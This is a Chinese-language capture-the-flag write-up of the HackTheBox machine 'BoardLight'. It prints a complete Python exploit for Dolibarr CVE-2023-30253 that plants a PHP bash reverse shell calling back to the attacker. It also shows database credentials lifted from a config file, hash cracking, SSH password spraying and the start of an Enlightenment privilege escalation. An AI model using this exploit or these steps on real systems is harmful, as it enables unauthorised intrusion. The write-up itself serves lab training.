HTB:BoardLight[WriteUP]

news2024/11/8 9:26:29

目录

连接至HTB服务器并启动靶机

1.How many TCP ports are listening on BoardLight?

2.What is the domain name used by the box?

3.What is the name of the application running on a virtual host of board.htb?

4.What version of Dolibarr is running on BoardLight?

5.What is the default password for the admin user on Dolibarr?

6.What is the 2024 CVE ID for an authenticated vulnerability that can lead to remote code execution in this version of Dolibarr?

7.What user is the Dolibarr application running as on BoardLight?

8.What is the full path of the file that contains the Dolibarr database connection information?

9.Submit the flag located in the larissa user's home directory.

USER_FLAG:85538653f2544f7fe53736015f5ade38

10.What is the name of the desktop environment installed on Boardlight?

11.What version of Enlightenment is installed on BoardLight?

12.What is the 2022 CVE ID for a vulnerability in Enlightenment versions before 0.25.4 that allows for privilege escalation?

13.Submit the flag located in the root user's home directory.

ROOT_FLAG:29793cc6d63e6b2413db144b2621f200


连接至HTB服务器并启动靶机

靶机IP:10.10.11.11

分配IP:10.10.16.22


1.How many TCP ports are listening on BoardLight?

使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -sS -Pn 10.10.11.11

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -sS -Pn 10.10.11.11    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 07:36 EDT
Nmap scan report for 10.10.11.11
Host is up (0.084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 43.27 seconds

由扫描结果可见,靶机开放端口:22、80共2个端口


2.What is the domain name used by the box?

使用nmap对靶机22、80端口进行脚本、服务信息扫描

nmap -p 22,80 -sCV 10.10.11.11

尝试直接对靶机IP路径进行FUZZ

ffuf -u http://10.10.11.11/FUZZ -w ../dictionary/common.txt

发现基本是WEB三剑客的东西静态没啥好看,尝试从Web信息找突破口

使用浏览器访问靶机80端口,在页面底部能找到一个域名:board.htb


3.What is the name of the application running on a virtual host of board.htb?

将靶机IP与该域名进行绑定,使DNS从本地解析

echo '10.10.11.11 board.htb' >> /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat /etc/hosts
127.0.0.1 kali
                                                                                                                                        
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '10.10.11.11 board.htb' >> /etc/hosts         
                                                                                                                                        
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat /etc/hosts
127.0.0.1 kali
10.10.11.11 board.htb

使用ffuf对该域名进行路径FUZZ

ffuf -u http://board.htb/FUZZ -w ../dictionary/fileName10000.txt

发现还是原来的那些东西,那就对该域名进行子域名搜索

ffuf -u http://board.htb -H 'Host: FUZZ.board.htb' -w ../dictionary/subdomains-top1mil-5000.txt -fs 15949

将靶机IP与子域:crm.board.htb绑定写入hosts中

echo '10.10.11.11 crm.board.htb' >> /etc/hosts

使用浏览器访问该子域,可知该主机运行应用为:Dolibarr


4.What version of Dolibarr is running on BoardLight?

从页面展示信息可知,Dolibarr版本为:17.0.0


5.What is the default password for the admin user on Dolibarr?

直接在网上搜索该WebAPP的默认凭证

账户:admin

密码:admin


6.What is the 2024 CVE ID for an authenticated vulnerability that can lead to remote code execution in this version of Dolibarr?

直接在Google或者百度搜索该WebAPP版本相关漏洞

由搜索可知,该版本WebAPP存在漏洞:CVE-2023-30253


7.What user is the Dolibarr application running as on BoardLight?

在Github上寻找该漏洞的相关PoC、EXP

查看EXP代码和使用方法

strings exploit.py
#!/usr/bin/env python3

import requests
from bs4 import BeautifulSoup
import http.client
import time
import argparse
import uuid

auth_headers = {
    "Cache-Control": "max-age=0",
    "Upgrade-Insecure-Requests": "1",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "Accept-Encoding": "gzip, deflate, br",
    "Accept-Language": "en-US,en;q=0.9",
    "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
    "Connection": "close"
}

def remove_http_prefix(url: str) -> str:
    if url.startswith("http://"):
        return url[len("http://"):]
    elif url.startswith("https://"):
        return url[len("https://"):]
    else:
        return url

def get_csrf_token(url, headers):
    csrf_token = ""
    response = requests.get(url, headers=headers)

    if response.status_code == 200:
        soup = BeautifulSoup(response.content, "html.parser")
        meta_tag = soup.find("meta", attrs={"name": "anti-csrf-newtoken"})

        if meta_tag:
            csrf_token = meta_tag.get("content")
        else:
            print("[!] CSRF token not found")
    else:
        print("[!] Failed to retrieve the page. Status code:", response.status_code)

    return csrf_token

def auth(pre_login_token, username, password, auth_url, auth_headers):
    login_payload = {
        "token": pre_login_token,
        "actionlogin": "login",
        "loginfunction": "loginfunction",
        "backtopage": "",
        "tz": "-5",
        "tz_string": "America/New_York",
        "dst_observed": "1",
        "dst_first": "2024-03-10T01:59:00Z",
        "dst_second": "2024-11-3T01:59:00Z",
        "screenwidth": "1050",
        "screenheight": "965",
        "dol_hide_topmenu": "",
        "dol_hide_leftmenu": "",
        "dol_optimize_smallscreen": "",
        "dol_no_mouse_hover": "",
        "dol_use_jmobile": "",
        "username": username,
        "password": password
    }

    requests.post(auth_url, data=login_payload, headers=auth_headers, allow_redirects=True)
    
def create_site(hostname, login_token, site_name, http_connection):
    create_site_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryKouJvCUT1lX8IVE6",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    create_site_body = (
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "addsite\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n"
        "-1\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_REF\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
        "en\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_OTHERLANG\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"virtualhost\"\r\n\r\n"
        "http://" + site_name + ".localhost\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6\r\n"
        "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
        "Create\r\n"
        "------WebKitFormBoundaryKouJvCUT1lX8IVE6--\r\n"
    )

    http_connection.request("POST", "/website/index.php", create_site_body, create_site_headers)
    http_connection.getresponse()

def create_page(hostname, login_token, site_name, http_connection):
    create_page_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryur7X26L0cMS2mE5w",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    create_page_body = (
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "addcontainer\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"pageidbis\"\r\n\r\n"
        "-1\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"radiocreatefrom\"\r\n\r\n"
        "checkboxcreatemanually\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_TYPE_CONTAINER\"\r\n\r\n"
        "page\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"sample\"\r\n\r\n"
        "empty\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_TITLE\"\r\n\r\n"
        "TEST\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_PAGENAME\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_ALIASALT\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_DESCRIPTION\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_IMAGE\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_KEYWORDS\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_LANG\"\r\n\r\n"
        "0\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"WEBSITE_AUTHORALIAS\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreation\"\r\n\r\n"
        "05/25/2024\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationday\"\r\n\r\n"
        "25\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationmonth\"\r\n\r\n"
        "05\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationyear\"\r\n\r\n"
        "2024\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationhour\"\r\n\r\n"
        "15\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationmin\"\r\n\r\n"
        "25\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"datecreationsec\"\r\n\r\n"
        "29\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader_x\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader_y\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"htmlheader\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"addcontainer\"\r\n\r\n"
        "Create\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"externalurl\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"grabimages\"\r\n\r\n"
        "1\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w\r\n"
        "Content-Disposition: form-data; name=\"grabimagesinto\"\r\n\r\n"
        "root\r\n"
        "------WebKitFormBoundaryur7X26L0cMS2mE5w--\r\n"
    )

    http_connection.request("POST", "/website/index.php", create_page_body, create_page_headers)
    http_connection.getresponse()

def edit_page(hostname, login_token, site_name, lhost, lport, http_connection):
    edit_page_headers = {
        "Host": remove_http_prefix(hostname),
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryYWePyybXc70N8CPm",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "en-US,en;q=0.9",
        "Cookie": "DOLSESSID_3dfbb778014aaf8a61e81abec91717e6f6438f92=aov9g1h2ao2quel82ijps1f4p7",
        "Connection": "close"
    }

    edit_page_body = (
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"token\"\r\n\r\n" +
        login_token + "\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"backtopage\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"dol_openinpopup\"\r\n\r\n\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
        "updatesource\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"website\"\r\n\r\n" +
        site_name + "\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"pageid\"\r\n\r\n"
        "2\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"update\"\r\n\r\n"
        "Save\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"PAGE_CONTENT_x\"\r\n\r\n"
        "16\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"PAGE_CONTENT_y\"\r\n\r\n"
        "2\r\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm\r\n"
        "Content-Disposition: form-data; name=\"PAGE_CONTENT\"\r\n\r\n"
        "<!-- Enter here your HTML content. Add a section with an id tag and tag contenteditable=\"true\" if you want to use the inline editor for the content -->\n"
        "<section id=\"mysection1\" contenteditable=\"true\">\n"
        "    <?pHp system(\"bash -c 'bash -i >& /dev/tcp/" + lhost + "/" + lport + " 0>&1'\"); ?>\n"
        "</section>\n"
        "------WebKitFormBoundaryYWePyybXc70N8CPm--\r\n"
    )

    http_connection.request("POST", "/website/index.php", edit_page_body, edit_page_headers)
    http_connection.getresponse()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="---[Reverse Shell Exploit for Dolibarr <= 17.0.0 (CVE-2023-30253)]---", usage= "python3 exploit.py <TARGET_HOSTNAME> <USERNAME> <PASSWORD> <LHOST> <LPORT>\r\nexample: python3 exploit.py http://example.com login password 127.0.0.1 9001")
    parser.add_argument("hostname", help="Target hostname")
    parser.add_argument("username", help="Username of Dolibarr ERP/CRM")
    parser.add_argument("password", help="Password of Dolibarr ERP/CRM")
    parser.add_argument("lhost", help="Listening host for reverse shell")
    parser.add_argument("lport", help="Listening port for reverse shell")

    args = parser.parse_args()
    min_required_args = 5
    if len(vars(args)) != min_required_args:
        parser.print_usage()
        exit()

    site_name = str(uuid.uuid4()).replace("-","")[:10]
    base_url = args.hostname + "/index.php"
    auth_url = args.hostname + "/index.php?mainmenu=home"
    admin_url = args.hostname + "/admin/index.php?mainmenu=home&leftmenu=setup&mesg=setupnotcomplete"
    call_reverse_shell_url = args.hostname + "/public/website/index.php?website=" + site_name + "&pageref=" + site_name

    pre_login_token = get_csrf_token(base_url, auth_headers)

    if pre_login_token == "":
        print("[!] Cannot get pre_login_token, please check the URL") 
        exit()

    print("[*] Trying authentication...")
    print("[**] Login: " + args.username)
    print("[**] Password: " + args.password)

    auth(pre_login_token, args.username, args.password, auth_url, auth_headers)
    time.sleep(1)

    login_token = get_csrf_token(admin_url, auth_headers)

    if login_token == "":
        print("[!] Cannot get login_token, please check the URL") 
        exit()

    http_connection = http.client.HTTPConnection(remove_http_prefix(args.hostname))

    print("[*] Trying created site...")
    create_site(args.hostname, login_token, site_name, http_connection)
    time.sleep(1)

    print("[*] Trying created page...")
    create_page(args.hostname, login_token, site_name, http_connection)
    time.sleep(1)

    print("[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection")
    edit_page(args.hostname, login_token, site_name, args.lhost, args.lport, http_connection)

    http_connection.close()
    time.sleep(1)
    requests.get(call_reverse_shell_url)

    print("[!] If you have not received the shell, please check your login and password")

本地侧使用nc开始监听

nc -lvnp 1425

运行该EXP

python exploit.py http://crm.board.htb admin admin 10.10.16.22 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://crm.board.htb admin admin 10.10.16.22 1425       
[*] Trying authentication...
[**] Login: admin
[**] Password: admin
[*] Trying created site...
[*] Trying created page...
[*] Trying editing page and call reverse shell... Press Ctrl+C after successful connection

本地侧nc收到反弹shell

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425                      
listening on [any] 1425 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.11.11] 49952
bash: cannot set terminal process group (857): Inappropriate ioctl for device
bash: no job control in this shell
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$ whoami
whoami
www-data

执行whoami命令,由回显可知当前用户为:www-data


8.What is the full path of the file that contains the Dolibarr database connection information?

使用script命令创建一个新bash

script -c /bin/bash -q /dev/null

进入子域名文件目录下:

cd /var/www/html/crm.board.htb

从该目录下开始搜索配置相关文件

find -name 'conf*' 2>/dev/null

由输出可见,配置文件大部分都集中在htdocs目录下

将找到的所有conf路径保存到tmp.txt文件中

find -name 'conf*' 2>/dev/null | tee tmp.txt

逐个文件搜索pass字符串

cat tmp.txt | xargs -I {} sh -c 'cat {} | grep "pass"'

可以看到输出信息中包含了好几个密码,尝试找到这些字符串来自哪个文件

grep -e 'myadminpass' -e 'myuserpassword' -e 'serverfun2$2023!!' -r

www-data@boardlight:~/html/crm.board.htb$ grep -e 'myadminpass' -e 'myuserpassword' -e 'serverfun2$2023!!' -r
<pass' -e 'myuserpassword' -e 'serverfun2$2023!!' -r
htdocs/conf/conf.php.old:// $dolibarr_main_db_pass='myadminpass';
htdocs/conf/conf.php.old:// $dolibarr_main_db_pass='myuserpassword';
htdocs/conf/conf.php.example:// $dolibarr_main_db_pass='myadminpass';
htdocs/conf/conf.php.example:// $dolibarr_main_db_pass='myuserpassword';
htdocs/conf/conf.php:$dolibarr_main_db_pass='serverfun2$2023!!';

其中,serverfun2$2023!!看着是最像真实密码的,查看该文件绝对路径

realpath htdocs/conf/conf.php

www-data@boardlight:~/html/crm.board.htb$ realpath htdocs/conf/conf.php
realpath htdocs/conf/conf.php
/var/www/html/crm.board.htb/htdocs/conf/conf.php

该文件绝对路径为:/var/www/html/crm.board.htb/htdocs/conf/conf.php


9.Submit the flag located in the larissa user's home directory.

查看该文件内容

cat /var/www/html/crm.board.htb/htdocs/conf/conf.php

<at /var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

//$dolibarr_main_demo='autologin,autopass';
// Security settings
$dolibarr_main_prod='0';
$dolibarr_main_force_https='0';
$dolibarr_main_restrict_os_commands='mysqldump, mysql, pg_dump, pgrestore';
$dolibarr_nocsrfcheck='0';
$dolibarr_main_instance_unique_id='ef9a8f59524328e3c36894a9ff0562b5';
$dolibarr_mailing_limit_sendbyweb='0';
$dolibarr_mailing_limit_sendbycli='0';

//$dolibarr_lib_FPDF_PATH='';
//$dolibarr_lib_TCPDF_PATH='';
//$dolibarr_lib_FPDI_PATH='';
//$dolibarr_lib_TCPDI_PATH='';
//$dolibarr_lib_GEOIP_PATH='';
//$dolibarr_lib_NUSOAP_PATH='';
//$dolibarr_lib_ODTPHP_PATH='';
//$dolibarr_lib_ODTPHP_PATHTOPCLZIP='';
//$dolibarr_js_CKEDITOR='';
//$dolibarr_js_JQUERY='';
//$dolibarr_js_JQUERY_UI='';

//$dolibarr_font_DOL_DEFAULT_TTF='';
//$dolibarr_font_DOL_DEFAULT_TTF_BOLD='';
$dolibarr_main_distrib='standard';

从该文件可以拿到Mysql数据库的一份用户凭证

账户:dolibarrowner

密码:serverfun2$2023!!

直接使用该凭证对靶机本地数据库进行连接登录

mysql -u dolibarrowner -p

列出所有数据库

show databases;

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| dolibarr           |
| information_schema |
| performance_schema |
+--------------------+
3 rows in set (0.00 sec)

选中dolibarr数据库

use dolibarr;

列出该数据库所有表单

show tables;

+-------------------------------------------------------------+

<...SNIP...>
| llx_subscription                                            |
| llx_supplier_proposal                                       |
| llx_supplier_proposal_extrafields                           |
| llx_supplier_proposaldet                                    |
| llx_supplier_proposaldet_extrafields                        |
| llx_takepos_floor_tables                                    |
| llx_tva                                                     |
| llx_user                                                    |
| llx_user_alert                                              |
| llx_user_clicktodial                                        |
| llx_user_employment                                         |
| llx_user_extrafields                                        |
| llx_user_param                                              |

<...SNIP...>
+-------------------------------------------------------------+
307 rows in set (0.01 sec)

列出llx_user表单中的所有数据

select * from llx_user;

账户:SuperAdmin

密码:$2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm

账户:admin

密码:$2y$10$gIEKOl7VZnr5KLbBDzGbL.YuJxwz5Sdl5ji3SEuiUSlULgAhhjH96

把这两个哈希写入文件中

echo '$2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm' > hash

使用hashid判断该哈希类型

hashid < hash

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < hash                                 
Analyzing '$2y$10$VevoimSke5Cd1/nX1Ql9Su6RstkTRe7UX1Or.cm8bZo56NjCMJzCm'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt

使用man查看hashcat该哈希类型参数

直接使用字典爆破

hashcat -m 3200 hash ../dictionary/rockyou.txt --quiet

两个哈希爆破了半天出不来,可以确定没法弄了,尝试用Mysql凭证喷洒登录SSH服务

密码:serverfun2$2023!!

使用cut命令将靶机中/etc/passwd中所有用户名取出

cut -d: -f 1 /etc/passwd

root
daemon
bin
sys
sync
games
man
lp
mail
news
uucp
proxy
www-data
backup
list
irc
gnats
nobody
systemd-network
systemd-resolve
systemd-timesync
messagebus
syslog
_apt
tss
uuidd
tcpdump
avahi-autoipd
usbmux
dnsmasq
cups-pk-helper
speech-dispatcher
avahi
kernoops
saned
hplip
whoopsie
colord
geoclue
pulse
gdm
sssd
larissa
systemd-coredump
mysql
fwupd-refresh
sshd
_laurel

将文件名列表写入文件中

使用hydra对靶机SSH服务进行密码喷洒

hydra -L users -p 'serverfun2$2023!!' ssh://10.10.11.11

账户:larissa

密码:serverfun2$2023!!

尝试使用该凭证对靶机SSH服务进行登录

ssh larissa@10.10.11.11

查找user_flag位置

find / -name 'user.txt' 2>/dev/null

查看user_flag内容

cat /home/larissa/user.txt

larissa@boardlight:~$ find / -name 'user.txt' 2>/dev/null
/home/larissa/user.txt
larissa@boardlight:~$ cat /home/larissa/user.txt
85538653f2544f7fe53736015f5ade38

USER_FLAG:85538653f2544f7fe53736015f5ade38


10.What is the name of the desktop environment installed on Boardlight?

查看当前用户所属组

groups

larissa@boardlight:~$ groups
larissa adm

查询属于adm组的文件

find / -group adm -type f 2>/dev/null

larissa@boardlight:~$ find / -group adm -type f 2>/dev/null
/var/log/mysql/error.log
/var/log/apache2/error.log
/var/log/kern.log.1
/var/log/auth.log
/var/log/dmesg.0
/var/log/syslog.1
/var/log/kern.log
/var/log/audit/audit.log
/var/log/audit/audit.log.3
/var/log/audit/audit.log.1
/var/log/audit/audit.log.2
/var/log/audit/audit.log.4
/var/log/auth.log.1
/var/log/syslog
/var/log/dmesg

可以看到基本都是日志文件,其中syslog、dmesg文件该用户没有执行权限

ls -l /var/log/dmesg
ls -l /var/log/syslog

larissa@boardlight:~$ ls -l /var/log/dmesg
-rw-r--r-- 1 root adm 124766 Oct 30 03:39 /var/log/dmesg

larissa@boardlight:~$ ls -l /var/log/syslog
-rw-r----- 1 syslog adm 23001 Oct 30 04:51 /var/log/syslog

本地侧通过python开启一个http服务

python -m http.server 7777

将攻击机中的linpeas.sh系统信息提取工具下载至靶机

wget http://10.10.16.22:7777/linpeas.sh -O linpeas.sh

给linpeas.sh文件赋执行权限

chmod +x linpeas.sh

直接运行该脚本提取系统敏感信息

./linpeas.sh

在这里可以看到enlightenment系列文件存在漏洞CVE-2022-37706

Enlightenment是一款用于类UNIX操作系统的轻量级、高度可定制的窗口管理器和桌面环境,以其对图形的出色处理、模块化设计和丰富的插件系统而闻名,能为用户提供灵活且美观的操作界面。


11.What version of Enlightenment is installed on BoardLight?

查看该文件使用帮助手册

enlightenment -h

查看该文件版本

enlightenment -version

larissa@boardlight:~/Desktop$ enlightenment -version
ESTART: 0.00000 [0.00000] - Begin Startup
ESTART: 0.00004 [0.00004] - Signal Trap
ESTART: 0.00005 [0.00001] - Signal Trap Done
ESTART: 0.00007 [0.00002] - Eina Init
ESTART: 0.00032 [0.00025] - Eina Init Done
ESTART: 0.00033 [0.00001] - Determine Prefix
ESTART: 0.00046 [0.00013] - Determine Prefix Done
ESTART: 0.00047 [0.00001] - Environment Variables
ESTART: 0.00048 [0.00001] - Environment Variables Done
ESTART: 0.00048 [0.00000] - Parse Arguments
Version: 0.23.1
E: Begin Shutdown Procedure!

由回显可见,该文件版本为:0.23.1


12.What is the 2022 CVE ID for a vulnerability in Enlightenment versions before 0.25.4 that allows for privilege escalation?

使用searchsploit搜索该文件

searchsploit enlightenment

将本地特权提升漏洞相关PoC拷贝到当前目录下

searchsploit -m 51180.txt

┌──(root㉿kali)-[/home/kali/Desktop/tool]
└─# searchsploit -m 51180.txt
  Exploit: Enlightenment v0.25.3 - Privilege escalation
      URL: https://www.exploit-db.com/exploits/51180
     Path: /usr/share/exploitdb/exploits/linux/local/51180.txt
    Codes: CVE-2022-37706
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/tool/51180.txt

